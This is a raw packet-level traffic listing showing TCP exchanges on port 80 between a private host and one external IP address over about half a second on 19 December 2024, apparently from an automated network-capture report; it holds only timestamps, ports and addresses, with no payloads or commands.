Dec 19, 2024 08:21:21.784977913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.785032988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.785123110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.785851955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.785871983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.785917044 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.786647081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.786664009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.787358999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.787375927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.787543058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.787589073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.788141966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.788244009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.788311958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.789010048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.789153099 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.789302111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.795435905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.804013014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.804029942 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.804091930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.804279089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.804297924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.804408073 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.804956913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.804975033 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.805027008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.805725098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.806430101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.806447983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.806485891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.807223082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.807240009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.807302952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.807354927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.807406902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.808079958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.808762074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.808777094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.808829069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.825115919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.825134039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.825176001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.825500011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.825516939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.825537920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.826224089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.826241016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.826289892 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.827065945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.827081919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.827162027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.827836990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.827856064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.827946901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.828635931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.828655005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.828697920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.829446077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.829463005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.829531908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.830229044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.830245018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.830277920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.830991983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.831007957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.831033945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.831872940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.831892014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.831931114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.832561016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.832633018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.832838058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.833364010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.833693981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.834182024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.834197998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.834229946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.834527016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.835063934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.835078955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.835103035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.835858107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.835872889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.835899115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.836663961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.836680889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.836723089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.837584972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.837600946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.837635040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.838449955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.838476896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.838505983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.839108944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.839129925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.839159012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.839848995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.839867115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.839900970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.840624094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.840641022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.840670109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.841361046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.841494083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.841837883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.841913939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.842241049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.842257023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.842299938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.845959902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.846417904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.915615082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.915632963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.915678024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.915919065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.915930986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.915967941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.916615963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.916629076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.916659117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.917886972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.922327042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.922342062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.922384024 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.922732115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.922744989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.922770977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.923379898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.923403025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.923415899 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.925839901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.925889015 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.957722902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.957741976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.957786083 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.958026886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.958218098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.958260059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.958920002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.959033012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.959100962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.959738970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.959753990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.959809065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.960556984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.960572004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.960613966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.961328030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.961342096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.961384058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.962091923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.962105989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.962141991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.971791983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.974169016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.974409103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.974452972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.974617004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.975004911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.975106001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.975380898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.975610018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.975652933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.976197004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.976212978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.976253986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.977128983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.977145910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.977188110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.977749109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.977873087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.978020906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.978600025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.978831053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.978873968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.979497910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.979587078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.979640961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.980288029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.980333090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.980370998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.981128931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.981142998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.981199026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.996085882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.996104002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.996174097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.996417999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.996432066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.996470928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.997148991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.997915983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.997930050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.997965097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.998626947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.998672009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.998847961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.998861074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.999535084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:21.999685049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.999699116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:21.999736071 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.000396967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.000410080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.000456095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.017376900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.017395020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.017443895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.017554998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.017708063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.017785072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.018122911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.018548012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.018601894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.019038916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.019052982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.019088030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.019853115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.019866943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.019905090 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.020618916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.020632982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.020680904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.021456003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.021470070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.021528959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.022501945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.022927046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.023061991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.023297071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.023308992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.023355961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.023823023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.023838043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.023868084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.024600983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.024615049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.024661064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.025286913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.025437117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.025477886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.026196003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.026211023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.026258945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.026984930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.026998997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.027029991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.027777910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.027791977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.027870893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.028592110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.028609037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.028650999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.029388905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.029402018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.029442072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.030172110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.030185938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.030217886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.031032085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.031045914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.031084061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.031796932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.031810999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.031847000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.032948971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.032963991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.033004999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.033301115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.033416986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.033461094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.034147024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.034214973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.035053968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.035110950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.053973913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.106395006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.106473923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.106514931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.106725931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.106739044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.106770039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.107511997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.107762098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.107801914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.108160019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.114098072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.114110947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.114149094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.114232063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.114269972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.114340067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.115117073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.115128994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.115150928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.115848064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.115860939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.115900993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.149816036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.149868011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.150106907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.150121927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.150156975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.150485992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.150753975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.150765896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.150789976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.151570082 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.151582956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.151626110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.152318001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.152358055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.152703047 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.153243065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.153255939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.153279066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.153927088 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.153940916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.154017925 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.166513920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.166531086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.166618109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.166887045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.166898966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.166928053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.167579889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.167593956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.167622089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.168392897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.168406010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.168431997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.169187069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.169200897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.169233084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.170001984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.170015097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:22.170041084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:22.170705080 CET	80	49720	194.87.47.113	192.168.2.10
